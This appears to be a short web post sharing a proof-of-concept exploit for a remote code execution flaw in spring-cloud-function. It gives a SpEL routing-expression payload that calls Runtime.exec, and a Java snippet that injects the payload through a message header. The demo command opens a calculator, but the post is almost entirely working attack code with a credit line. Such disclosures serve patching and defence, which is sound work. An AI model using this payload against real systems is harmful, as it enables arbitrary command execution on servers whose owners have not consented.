Spring Cloud Function SPEL RCE Exploit

March 26, 2022, 11:09 am 743 Views

spring-spel-0day-poc

This is spring-cloud/spring-cloud-function Remote Code Exploit POC

spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("open -a calculator.app")

POC:

Function function = functionCatalog.lookup(RoutingFunction.FUNCTION_NAME);
Message<String> message = MessageBuilder.withPayload("hello")
 				.setHeader(FunctionProperties.PREFIX + ".routing-expression",
 						"T(java.lang.Runtime).getRuntime().exec(\"open -a calculator.app\")")
 				.build();
function.apply(message);

Exploit credits: hktalent

For More details on the Vulnerability read RCE 0-day Vulnerability found in Spring Cloud (SPEL)